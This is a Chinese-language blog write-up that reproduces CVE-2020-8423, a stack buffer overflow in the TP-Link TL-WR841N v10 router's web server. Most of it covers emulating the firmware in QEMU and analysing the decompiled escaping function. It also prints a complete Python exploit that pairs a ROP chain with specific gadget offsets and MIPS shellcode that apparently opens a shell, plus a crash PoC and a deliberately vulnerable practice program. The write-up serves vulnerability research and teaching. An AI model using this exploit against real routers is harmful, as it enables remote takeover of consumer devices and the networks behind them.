漏洞编号:CVE-2020-8423
固件地址: https://www.tp-link.com/no/support/download/tl-wr841n/v10/
工具安装 安装binwalk
1 2 sudo apt update sudo apt-get install binwalk
SquashFS:用于Linux内核的只读文件系统
1 2 3 4 sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev sudo git clone https://github.com/devttys0/sasquatch cd sasquatch && sudo ./build.sh
qemu安装
1 sudo apt-get install qemu
交叉编译环境buildroot
1 2 3 4 5 6 7 sudo apt-get install libncurses5-dev patch wget http://buildroot.uclibc.org/downloads/snapshots/buildroot-snapshot.tar.bz2 tar -jxvf buildroot-snapshot.tar.bz2 cd buildroot/ make clean make menuconfig sudo make
进入menuconfig后,选择目标架构Mips32
安装完后设置环境变量,再/etc/profile结尾加上
1 export PATH=$PATH:$HOME/buildroot/output/host/bin
编译第一个mips程序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #include <stdio.h> #include <stdlib.h> #include <string.h> void backdoor () { system("/bin/sh" ); } void has_stack (char *src) { char dst[20 ]={0 }; strcpy (dst,src); printf ("copy successfully" ); } void main (int argc,char *argv[]) { has_stack(argv[1 ]); }
默认编译小端序程序,注意要加-static 静态编译,因为qemu运行环境里没包含c标准库
1 2 mipsel-linux-gcc vuln.c -o vuln -static file vuln
编译大端程序,需要加-EB参数,但是仅仅加-EB会导致ld报错,所以要编译和链接分开
1 2 mipsel-linux-gcc -EB -c -static vuln.c -o vuln.o mipsel-linux-ld vuln.o -EB -o vuln
但我还是报错了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 hpp@swikar:~$ mipsel-linux-gcc -EB -c -static vuln.c -o vuln.o hpp@swikar:~$ mipsel-linux-ld vuln.o -EB -o vuln mipsel-linux-ld: warning: cannot find entry symbol __start; defaulting to 00400110 mipsel-linux-ld: vuln.o: in function `backdoor': vuln.c:(.text+0x24): undefined reference to `system' mipsel-linux-ld: vuln.c:(.text+0x2c ): undefined reference to `system' mipsel-linux-ld: vuln.o: in function `has_stack' :vuln.c:(.text+0x74 ): undefined reference to `__stack_chk_guard' mipsel-linux-ld: vuln.c:(.text+0xa0): undefined reference to `strcpy' mipsel-linux-ld: vuln.c:(.text+0xa8 ): undefined reference to `strcpy' mipsel-linux-ld: vuln.c:(.text+0xbc): undefined reference to `printf' mipsel-linux-ld: vuln.c:(.text+0xc4 ): undefined reference to `print f' mipsel-linux-ld: vuln.c:(.text+0xd4): undefined reference to `__stack_chk_guard' mipsel-linux-ld: vuln.c:(.text+0xe8 ): undefined reference to `__stack_chk_fail'
用工具链安装mips编译环境
1 2 3 4 5 sudo apt-get install linux-libc-dev-mipsel-cross sudo apt-get install libc6-mipsel-cross libc6-dev-mipsel-cross sudo apt-get install binutils-mipsel-linux-gnu sudo apt-get install gcc-${VERSION}-mipsel-linux-gnu g++-${VERSION}-mips-linux-gnu
mipsel-linux-gnu-gcc说找不到,需要创建符号链接
1 sudo ln -s /usr/bin /mipsel-linux-gnu-gcc-10 /usr/bin /mipsel-linux-gnu-gcc
用mips-linux-gnu-gcc编译大端序
1 2 3 $mips-linux-gnu-gcc vuln.c -o vuln -static $ file vuln vuln: ELF 32 -bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), statically linked, BuildID[sha1]=5608d962ff3f4b40b36c9d67a82dfa1f4275ad07, for GNU/Linux 3.2 .0 , not stripped
安装qemu-user
1 2 3 $sudo apt install qemu-user $qemu-mipsel vuln "123" copy successfully
qemu运行Mips Linux内核
https://people.debian.org/~aurel32/qemu/mips/在这里下载包
1 2 wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-3.2 .0 -4 -4kc-malta wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2
用qemu运行mips debian,账号密码都是root
qemu有主要如下两种运作模式,User Mode和System Mode
安装qemu-system-mips
1 2 sudo apt update sudo apt-get install qemu-system-mips
qemu的几个系统命令
1 sudo qemu-system-mips -M malta -kernel $HOME/vmlinux-3.2 .0 -4 -4kc-malta -hda $HOME/debian_squeeze_mips_standard.qcow2 -append "root=/dev/sdal console=tty0" -net nic,macaddr=00 :0c:29 :ee:39 :39 -net tap -nographic
登录成功
安装Gdb-Multiarch ,能够调试多个架构(包括mips)的gdb调试工具
1 apt-get install gdb-multiarch
安装peda插件
1 2 git clone https://github.com/longld/peda.git ~/peda echo "source ~/peda/peda.py" >> ~/.gdbinit
把 vim ~/.gdbinit 改为pwndbg的
gdbserver(mips)
1 2 3 git clone https://github.com/rapid7/embedded-tools.git git clone https://github.com/hugsy/gdb-static git cloen https://github.com/akpotter/embedded-toolkit
测试
1 2 $ mipsel-linux-gnu-gcc vuln.c -o vuln -static $ qemu-mipsel -g 9000 vuln
1 2 3 4 5 6 $ gdb-multiarch -q pwndbg> file vuln Reading symbols from vuln... (No debugging symbols found in vuln) pwndbg> target remote 127.0.0.1:9000 Remote debugging using 127.0.0.1:9000
成功
ROPgadget 源码安装
1 2 3 4 git clone https://github.com/JonathanSalwan/ROPgadget.git && cd ROPgadget sudo apt install python3-pip sudo -H python3 -m pip install capstone sudo -H python3 setup.py install
安装wireshark
1 2 3 4 sudo add-apt-repository ppa:wireshark-dev/stable sudo apt install -y wireshark sudo usermod -aG wireshark $USER
安装Mipsrop
1 2 https://github.com/tacnetsol/ida/blob/master/plugins/mipsrop/mipsrop.py https://github.com/SeHwa/mipsrop-for -ida7
配置运行环境 用qemu来模拟路由器
1 2 binwalk -Me TL-WR841N_V10_150310.zip cd _TL-WR841N_V10_150310.zip .extracted/_wr841nv10_wr841ndv10_en_3_16_9_up_boot\(150310 \).bin .extracted/squashfs-root/
安装gdb7
注释掉这几个文件的这个函数
配置桥接
这里本人遇到了很多坑 :(
将文件系统传入虚拟机中运行固件,为了能让qemu和虚拟机传输文件,先配置桥接网络
1.配置桥接网卡
安装bridge-utils和uml-utilities
1 2 sudo apt-get install bridge-utils sudo apt-get install uml-utilities
修改 /etc/network/interfacces 来配置网络桥接
以下是旧版本适用
1 $ sudo nano /etc/network/interfaces
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 auto lo iface lo inet loopback auto eth0 iface eth0 inet manual up ifconfig eth0 0.0 .0 .0 up auto br0 iface br0 inet dhcp bridge_ports eth0 bridge_stp off bridge_maxwait 1
我的试了不行,我用的是Ubuntu22,好像因为高版本点的Ubuntu用的是 etc/netplan
注意这里的renderer必须改为networkd,不然会显示没有ens33没有桥接到br0
1 sudo nano /etc/netplan/01-network-manager-all.yaml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 network: version: 2 renderer: networkd ethernets: ens33: dhcp4: false optional: true bridges: br0: interfaces: - ens33 dhcp4: true parameters: stp: false forward-delay: 0
配置qemu-ifup 脚本
为了使qemu在启动使自动将网卡(默认使tap0或tap1)加入到桥接网卡中
1 $ sudo nano /etc/qemu-ifup
1 2 3 4 5 6 7 8 echo "Executing /etc/qemu-ifup" echo "Bringing up $1 for bridged mode..." sudo /sbin/ifconfig $1 0.0 .0 .0 promisc up echo "Adding $1 to br0..." sudo /sbin/brctl addif br0 $1 sleep 3
给脚本执行权限
1 sudo chmod +x /etc/qemu-ifup
设置好后,重启开启虚拟机,启动qemu,会多一个br0网卡
1 sudo qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic,macaddr=00:0c:29:ee:39:39 -net tap -nographic
br0是虚拟机和qemu的桥接接口,ens33虚拟机的网卡接口,tap0是qemu的网卡接口
设置ip使其在同一网段
1 2 3 4 hpp@swikar:~/桌面$ sudo ifconfig br0 192.168 .123 .6 /24 up root@debian-mips:~
成功ping通
确保qemu的子网掩码和桥接网卡的一致,不然不能传文件
这里我遇到了个问题,由于较新的Ubuntu的openSSH客户端禁用了过时的算法(如 ssh-rsa 和 ssh-dss),但qemu的ssh服务用的是较老的密钥算法
1 2 3 4 $ sudo scp -r squashfs-root/ root@192.168.123.7:~/ Unable to negotiate with 192.168.123.7 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss lost connection
我这里直接用命令行改用较老的方式
这里是将路由器的文件系统传到qemu
1 sudo scp -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa -r squashfs-root/ root@192.168 .123 .7 :~/
也可以修改ssh客户端配置
1 sudo nano /etc/ssh/ssh_config
添加这些内容
1 2 3 Host 192.168 .123 .* HostKeyAlgorithms +ssh-rsa PubkeyAcceptedKeyTypes +ssh-rsa
1 sudo scp -r squashfs-root/ root@192.168 .123 .7 :~/
Ubuntu会没网,需要修改dns
1 sudo nano /etc/systemd/resolved.conf
1 2 3 [Resolve] DNS=8.8 .8 .8 8.8 .4 .4 FallbackDNS=8.8 .8 .8 8.8 .4 .4
重启服务
1 sudo systemctl restart systemd-resolved
挂载系统的proc到固件目录下的proc,这样我们的程序在访问一些内核信息时能读取到,否则程序运行可能会报错
1 2 3 4 # 挂载文件系统 root@debian-mips:~# mount --bind /proc squashfs-root/proc # 更换root目录 root@debian-mips:~/squashfs-root# chroot . bin/sh
直接运行会有很多报错,需要hook掉fork和system函数
在虚拟机编译hook然后传到qemu
1 2 3 4 5 6 7 8 9 10 11 #include <stdio.h> #include <stdlib.h> int system (const char *command) { printf ("HOOK: system(\"%s\")" ,command); return 1337 ; } int fork (void ) { return 1337 ; }
1 mips-linux-gnu-gcc -shared -fPIC hook.c -o hook
把hook传到qemu
1 sudo scp -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa -r hook root@192.168.123.7:~/
再重新挂载更换root
1 2 3 4 5 6 7 8 root@debian-mips:~# cp hook squashfs-root/ # 挂载文件系统 root@debian-mips:~# mount -o bind /dev ./squashfs-root/dev/ root@debian-mips:~# mount --bind /proc squashfs-root/proc # 更换root目录 root@debian-mips:~/squashfs-root# chroot . bin/sh
在文件系统根目录
1 2 3 4 5 6 /usr/bin /httpd: can't load library ' libc.so.6 ' // 使用软链接解决 # ln -s lib/libc.so.0 lib/libc.so.6 # LD_PRELOAD="/hook" /usr/bin/httpd
把gdbserver复制到qemu
1 sudo scp -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa -r /home/hpp/embedded-tools/binaries/gdbserver/gdbserver.mipsbe root@192.168 .123 .7 :~/squashfs-root/
使用gdbserver将httpd调试转发到2333端口
试了好久,一直看不到qemu开了80端口,后来无缘无故就可以了
可以清一下cookie
获取cookie和path
cookie Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D
path RSSCTKQCPJFJLXVB
抓一下包
1 curl -H 'Cookie: Authorization=Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D' 'http://192.168.123.7/WZJXOVKAWKKMDBGB/userRpm/popupSiteSurveyRpm_AP.htm?mode=1000&curRegion=1000&chanWidth=100&channel=1000&ssid=' $(python -c 'print( "/%0A"*0x55 + "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac")' )''
Mips常用命令
命令
格式
用途
lw
lw R1, 0(R2)
从存储器中读取一个word存储(Load)到register中
sw
sw R1, 0(R2)
把一个word从register中存储(store)到存储器中
addiu
addiu R1,R2,#3
将一个立即数#3加上R2内容之后存放到目标地址R1
or
or R1,R2,R3
两个寄存器内容相或
jalr
jalr R1
使用寄存器的跳转指令
MIPS寄存器功能
REGISTER
NAME
USAGE
$0
$zero
常量0(constant value 0)
$1
$at
保留给汇编器(Reserved for assembler)
$2-$3
$v0-$v1
函数调用返回值(values for results and expression evaluation)
$4-$7
$a0-$a3
函数调用参数(arguments)
$8-$15
$t0-$t7
暂时的(或随便用的)
$16-$23
$s0-$s7
保存的(或如果用,需要SAVE/RESTORE的)(saved)
$24-$25
$t8-$t9
暂时的(或随便用的)
$28
$gp
全局指针(Global Pointer)
$29
$sp
堆栈指针(Stack Pointer)
$30
$fp
帧指针(Frame Pointer)
$31
$ra
返回地址(return address)
mips里的叶子函数和非叶子函数
叶子函数就是在函数里没有调用其他的函数,返回地址没有压入栈中,而是直接存入寄存器$ra中,非叶子函数 ,即函数中还调用了其他函数,返回地址在栈中
mips没有栈底指针,只有一个$sp指向栈顶,没有pop 和push调整指针,而是采用偏移寻址来访问变量
漏洞分析 pwndbg一直调试不了,搞了很久,还是直接看代码吧
在stringModify字符串转化函数,存在栈溢出漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 int __fastcall stringModify (_BYTE *a1, int size, int a3) { bool v3; char *v4; int v5; int v6; int v7; if ( !a1 ) return -1 ; v3 = a3 == 0 ; v4 = (char *)(a3 + 1 ); if ( v3 ) return -1 ; v5 = 0 ; while ( 1 ) { v7 = *(v4 - 1 ); if ( !*(v4 - 1 ) || v5 >= size ) break ; if ( v7 == '/' ) goto LABEL_18; if ( v7 >= '0' ) { if (v7 == '>' || v7 == '\\' ) { LABEL_18: *a1 = '\\' ; LABEL_19: ++v5; ++a1; } else if ( v7 == '<' ) { *a1 = '\\' ; goto LABEL_19; } LABEL_20: ++v5; *a1++ = *(v4 - 1 ); goto LABEL_21; } if ( v7 != '\r' ) { if ( v7 == '"' ) goto LABEL_18; if ( v7 != '\n' ) goto LABEL_20; } v6 = *v4; if ( v6 != '\r' && v6 != '\n' ) { qmemcpy(a1, "<br>" , 4 ); a1 += 4 ; } ++v5; LABEL_21: ++v4; } *a1 = 0 ; return v5; }
如果字符等于 / > < \\ " 这几个字符转成 \ + /或>...,同时v5计数是2
如果字符等于 \r \n 等换行符,会把 <br > 复制到a1,并且v5只加1,理论上最多可以把原始的字符长度复制成原来的四倍,会有栈溢出
writePageParamSet 函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 int __fastcall writePageParamSet (int a1, int a2, const char *a3) { int v6; int v7; int v8; int v9; int *v10; int result; int v12; int v13[128 ]; if ( !a3 ) HTTP_DEBUG_PRINT("basicWeb/httpWebV3Common.c:178" , "Never Write NULL to page, %s, %d" , "writePageParamSet" , 178 ); if ( strcmp (a2, "\"%s\"," , a3) ) { result = strcmp (a2, "%d," , v6); v8 = a1; if ( result ) return result; v10 = *(int **)a3; v9 = a2; } else { if ( stringModify(v13, 0x200 , (int )a3) < 0 ) { printf ("string modify error!" ); HIBYTE(v13[0 ]) = 0 ; } v8 = a1; v9 = a2; v10 = v13; } return httpPrintf(v8, v9, (int )v10, v7, (int )&unk_594D80, v12, v13[0 ], v13[1 ]); }
交叉编译,发现sub_45FA94 调用的sub_45eb48 函数里调用了writePageParamSet 函数,不知道师傅们是怎么找到这的。ssid对应着下面的writePageParamSet(int a1, int a2, const char *a3) 第三个参数。这个函数把ssid放到一个很小的 v57 数组里
来仔细分析一下这个关键函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 int __fastcall sub_45EB48 (int a1, int a2) { _DWORD v57[17 ]; _DWORD v58[94 ]; _BYTE v59[2952 ]; const char *Env; int *v61; const char *v62; _BYTE *v63; const char *v64; const char *v65; swWlanWDSScan(a1, v56, 1 ); ''' httpPrintf(a2, "<SCRIPT language=\"javascript\" type=\"text/javascript\">\nvar %s = new Array(\n" , "waitWdsInf" ); httpPrintf(a2, "<SCRIPT language=\"javascript\" type=\"text/javascript\">\nvar %s = new Array(\n" , "siteSurveyPara" ); httpPrintf(a2, "<SCRIPT language=\"javascript\" type=\"text/javascript\">\nvar %s = new Array(\n" , "mptBssid" ); httpPrintf(a2, "<SCRIPT language=\"javascript\" type=\"text/javascript\">\nvar %s = new Array(\n" , "siteList" ); ''' httpPrintf(a2, "0,0 );\n</SCRIPT>\n" ); memset (v57, 0 , sizeof (v57)); i = 0 ; v25 = httpGetEnv(a2, "ssid" ); v26 = v25; if ( v25 ) { v27 = strlen (v25); strncpy (v57, v26, v27); } else { HIBYTE(v57[0 ]) = 0 ; } v28 = httpGetEnv(a2, "curRegion" ); if ( v28 ) { v29 = atoi(v28); i = v29; if ( v29 < 0x6C ) v57[9 ] = v29; } else { v57[9 ] = 17 ; } v30 = httpGetEnv(a2, "channel" ); if ( v30 ) { v31 = atoi(v30); i = v31; if ( !a1 && (unsigned int )(v31 - 1 ) < 0xF ) v57[10 ] = v31; } else if ( !a1 ) { v57[10 ] = 6 ; } v32 = httpGetEnv(a2, "chanWidth" ); if ( v32 ) { v33 = atoi(v32); i = v33; if ( (unsigned int )(v33 - 1 ) < 3 ) v57[11 ] = v33; } else { v57[11 ] = 2 ; } v34 = httpGetEnv(a2, "mode" ); if ( v34 ) { v35 = atoi(v34); i = v35; if ( (unsigned int )(v35 - 1 ) < 8 ) v57[12 ] = v35; } else { v57[12 ] = 1 ; } v36 = httpGetEnv(a2, "wrr" ); v37 = v36; if ( v36 ) v57[13 ] = !strcmp (v36, "true" ) || atoi(v37) == 1 ; v38 = httpGetEnv(a2, "sb" ); v39 = v38; if ( v38 ) v57[14 ] = !strcmp (v38, "true" ) || atoi(v39) == 1 ; v40 = httpGetEnv(a2, "select" ); v41 = v40; if ( v40 ) v57[15 ] = !strcmp (v40, "true" ) || atoi(v41) == 1 ; v42 = httpGetEnv(a2, "rate" ); if ( v42 ) v57[16 ] = atoi(v42); httpPrintf(a2, "<SCRIPT language=\"javascript\" type=\"text/javascript\">\nvar %s = new Array(\n" , "pagePara" ); writePageParamSet(a2, (int )"\"%s\"," , (const char *)v57); writePageParamSet(a2, (int )"%d," , (const char *)&v57[9 ]); writePageParamSet(a2, (int )"%d," , (const char *)&v57[10 ]); writePageParamSet(a2, (int )"%d," , (const char *)&v57[11 ]); writePageParamSet(a2, (int )"%d," , (const char *)&v57[12 ]); writePageParamSet(a2, (int )"%d," , (const char *)&v57[13 ]); writePageParamSet(a2, (int )"%d," , (const char *)&v57[14 ]); writePageParamSet(a2, (int )"%d," , (const char *)&v57[15 ]); writePageParamSet(a2, (int )"%d," , (const char *)&v57[16 ]); httpPrintf(a2, "0,0 );\n</SCRIPT>\n" ); httpPrintf(a2, "<script language=JavaScript>\nvar isInScanning = 0;\n</script>" ); if ( v50 < 9 && ((1 << v50) & 0x1C8 ) != 0 ) { HttpWebV4Head(a2, 0 , 0 ); v10 = "/userRpm/popupSiteSurveyRpm_AP.htm" ; } else { HttpWebV4Head(a2, 0 , 1 ); v10 = "/userRpm/popupSiteSurveyRpm.htm" ; } LABEL_97: if ( httpRpmFsA(a2, v10) != 2 ) { v5 = HttpErrorPage(a2, 10 , 0 , 0 ) << 16 ; return v5 >> 16 ; } return 2 ; }
根据poc的输出捋了一下
根据函数画了ssid几个参数在栈上的位置
v57数组是dword,32位MIPS程序中占四个字节
1 2 3 4 5 6 7 8 9 0x00 | | ssid | 0x24 | curRegion0x28 | channel0x2c | chanWidth0x30 | mode0x34 | wrr ' ' '
至于为什么把ssid复制给v57,后面的参数再在v57上赋值没有改变ssid的输出不是很理解,ssid理论上是被后面赋值的参数覆盖一部分的
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import requestsimport socketimport socksimport urllibdefault_socket = socket.socket socket.socket = socks.socksocket session = requests.Session() session.verify = False def exp (path,cookie ): headers = { "User-Agent" : "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" , "Cookie" :"Authorization=Basic{cookie}" .format (cookie=str (cookie))} payload="/%0A" *0x55 + "abcdefghijklmn" +"\x78\x56\x34\x12" params = { "mode" :"1000" , "curRegion" :"1000" , "chanWidth" :"100" , "channel" :"1000" , "ssid" :urllib.request.unquote(payload) } url="http://192.168.208.150:80/{path}/userRpm/popupSiteSurveyRpm_AP.htm" .format (path=str (path)) resp = session.get(url,params=params,headers=headers,timeout=10 ) print (resp.text) print (params) exp("NRLABRHBAIESYOKA" ,"%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D" )
gdb下不了断点,暂时看不到被覆盖的寄存器
在 writePageParamSet 调用了stringModify 函数,使其发生栈溢出,函数的结尾,lw了四个寄存器,可以劫持函数的执行流
大端序
由于调试不了stringModify函数的前后,借鉴师傅们的博客算得的sp的偏移是
1 2 3 4 sp偏移:'/%0a' *0x55 +2 +s0+s1+s2+ra payload='/%0a' *0x55 +2 //经转移后长度是0x200 payload+=s0+s1+s2 payload+=ra
漏洞利用 由于是mips程序所以栈是可执行的,并且该程序是大端序
由于mips程序的指令集有(cache incoherency)缓存不一致性 ,branch delay slot机制使汇编不是按一条直线进行下去,后续会补充,指令cache和数据cache需要一个时间同步,需要调用sleep让shellcode从数据cache刷新到指令cache。需要构造rop,寻找gadgets,大概的流程图如下,mipsrop的构建参考:路由器漏洞挖掘之 DIR-815 栈溢出漏洞分析-安全客 - 安全资讯平台
gadget1 ,修改寄存器$a0,$a0作为sleep函数的参数。
同时当作溢出时$ra寄存器的值,作为返回地址,跳转到$s1
s1=gadget2
1 2 3 LOAD:0000E204 move $t9, $s1 LOAD:0000E208 jalr $t9 ; sysconf LOAD:0000E20C li $a0, 3
gadget2,把$s2寄存器的存的地址赋给$t9并执行,这里写的是sleep函数的地址,下面还会把sp偏移的几个地址的值lw给各个寄存器,所以这里要设置好各个寄存器的值,最后会$sp的值会加0x28,返回执行ra寄存器的存的地址,这里ra寄存器设置的是gadget3的地址。
那么此时栈溢出时设置的s0几个寄存器的值和执行gadget2前的几个寄存器的值在栈上应该是这样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ''' ''' s0=0x11111111 s1=gadget2 s2=fuc_sleep ra=gadget1 'a' *0x1c s1=gadget4 s2=0x22222222 ra=gadget3 'a' *0x18 shellcode
gadget2
1 2 3 4 5 6 7 8 9 LOAD:00037470 move $t9, $s2 LOAD:00037474 lw $ra, 0x28+var_4($sp) LOAD:00037478 lw $s2, 0x28+var_8($sp) LOAD:0003747C lw $s1, 0x28+var_C($sp) LOAD:00037480 lw $s0, 0x28+var_10($sp) LOAD:00037484 LOAD:00037484 loc_37484: # DATA XREF: xdr_callhdr↓o LOAD:00037484 jr $t9 ; xdr_opaque_auth LOAD:00037488 addiu $sp, 0x28
gadget3 ,把sp+0x18的地址给$a1,sp+0x18的地址写上shellcode,然后跳转到$s1寄存器去执行,毫无疑问$s1写的就是gadget4的地址
1 2 3 4 LOAD:0000E904 addiu $a1, $sp, 0x168+var_150 LOAD:0000E908 move $t9, $s1 LOAD:0000E90C jalr $t9 ; stat64 LOAD:0000E910 addiu $a0, (aErrorNetrcFile+0x28 - 0x60000)
gadget4 ,执行$a1存的地址,即shellcode的地址
1 2 3 4 5 LOAD:000374D8 move $t9, $a1 LOAD:000374DC sw $v0, 0x4C($a0) LOAD:000374E0 move $a1, $a2 LOAD:000374E4 jr $t9 LOAD:000374E8 addiu $a0, 0x4C # 'L'
shellcode
由于指令lui 的字节码是0x3c(<),会被转义,一种方式是指令逃逸,另一种是指令替换,参考师傅们的链接
http://shell-storm.org/shellcode/files/shellcode-794.php https://www.exploit-db.com/exploits/45541
指令替换
可以使用一些无关指令,如使用 ori t3,t3,0xff3c 时,3c(<) 经过stringModify 函数会被编码为 \ < (\x5c\x3c) ,\x5c是反斜杠, ori t3,t3,0xff3c 的汇编字节码为 ‘\x35\x6b\xff\x3c’ ,经转义后是 ‘\x35\x6b\xff\x5c’ ,\x3c就逃逸到下一个内存空间,这个3c就可以继续使用了,对于其他被转义的字符 / > < \\ " 也是如此
也就是 \x2f , \x3c,\x3e,\x5c,\x22
关于gdb的调试,需要自己编译gdb上传到qemu中
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 from pwn import *import requestsimport socketimport socksimport urllibimport structdefault_socket=socket.socket socket.socket=socks.socksocket session=requests.Session() session.verify=False context.endian='big' libc_base=0x77fe2000 sleep=0x53ac0 g1=0x000E204 g2=0x00037470 g3=0x0000E904 g4=0x00374D8 shellcode=b"\x24\x0e\xff\xfd\x01\xc0\x20\x27\x01\xc0\x28\x27\x28\x06\xff\xff" shellcode+=b"\x24\x02\x10\x57\x01\x01\x01\x0c\xaf\xa2\xff\xff\x8f\xa4\xff\xff" shellcode+=b"\x34\x0e\xff\xff\x01\xc0\x70\x27\xaf\xae\xff\xf6\xaf\xae\xff\xf4" shellcode+=b"\x34\x0f\xd8\xf0\x01\xe0\x78\x27\xaf\xaf\xff\xf2\x34\x0f\xff\xfd" shellcode+=b"\x01\xe0\x78\x27\xaf\xaf\xff\xf0\x27\xa5\xff\xf2\x24\x0f\xff\xef" shellcode+=b"\x01\xe0\x30\x27\x24\x02\x10\x4a\x01\x01\x01\x0c\x8f\xa4\xff\xff" shellcode+=b"\x28\x05\xff\xff\x24\x02\x0f\xdf\x01\x01\x01\x0c\x2c\x05\xff\xff" shellcode+=b"\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x0e\xff\xfd\x01\xc0\x28\x27" shellcode+=b"\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x0e\x3d\x28\xaf\xae\xff\xe2" shellcode+=b"\x24\x0e\x77\xf9\xaf\xae\xff\xe0\x8f\xa4\xff\xe2\x28\x05\xff\xff" shellcode+=b"\x28\x06\xff\xff\x24\x02\x0f\xab\x01\x01\x01\x0c" s0=p32(0x11111111 ) s1=p32(libc_base+g2) s2=p32(libc_base+sleep) ra=p32(libc_base+g1) payload=b'/%0a' *0x55 +b'a' *2 +s0+s1+s2+ra payload+=b'a' *0x1c payload+=p32(libc_base+g4) payload+=p32(0x22222222 ) payload+=p32(libc_base+g3) payload+=b'a' *0x18 payload+=shellcode def exp (path,cookie ): headers = { "User-Agent" : "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" , "Cookie" :"Authorization=Basic{cookie}" .format (cookie=str (cookie))} params = { "mode" :"1000" , "curRegion" :"1000" , "chanWidth" :"100" , "channel" :"1000" , "ssid" :urllib.parse.unquote(payload) } url="http://192.168.123.162:80/{path}/userRpm/popupSiteSurveyRpm_AP.htm" .format (path=str (path)) resp = session.get(url,params=params,headers=headers,timeout=10 ) print (resp.text) exp("QEIFMZVBEMCABIIB" ,"%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D" )
遇到的环境问题
1 2 3 4 5 6 7 8 9 10 unsquashfs.c: In function ‘read_super’: unsquashfs.c:1835 :5 : error: this ‘if ’ clause does not guard... [-Werror=misleading-indentation] 1835 | if (swap) | ^~ unsquashfs.c:1841 :9 : note: ...this statement, but the latter is misleadingly indented as if it were guarded by the ‘if ’ 1841 | read_fs_bytes(fd, SQUASHFS_START, sizeof(struct squashfs_super_block), | ^~~~~~~~~~~~~ cc1: all warnings being treated as errors make: *** [<内置>:unsquashfs.o] 错误 1
解决
[issues]: ‘if’ clause does not guard… [-Werror=misleading-indentation] · Issue #48 · devttys0/sasquatch
1 2 wget https://github.com/devttys0/sasquatch/pull/51. patch && patch -p1 <51. patch ./build.sh
1 r: in `/home/hpp/buildroot/output/build/host-tar-1.35 ': configure: error: you should not run configure as root (set FORCE_UNSAFE_CONFIGURE=1 in environment to bypass this check) See `config.log' for more details make: *** [package/pkg-generic.mk:279 :
解决
1 sudo make FORCE_UNSAFE_CONFIGURE=1
参考链接 [1]:Mips架构下漏洞分析入门-安全客 - 安全资讯平台
[2]: TP-Link WR841N 栈溢出漏洞(CVE-2020-8423)分析-安全客 - 安全资讯平台
[3]:CVE-2020-8423后篇 | Brvc3’s Base
[4]:路由器漏洞挖掘之 DIR-815 栈溢出漏洞分析-安全客 - 安全资讯平台
[5]:Linux系统调用Hook姿势总结_linux vfs hook-CSDN博客
评论区
欢迎你留下宝贵的意见,昵称输入QQ号会显示QQ头像哦~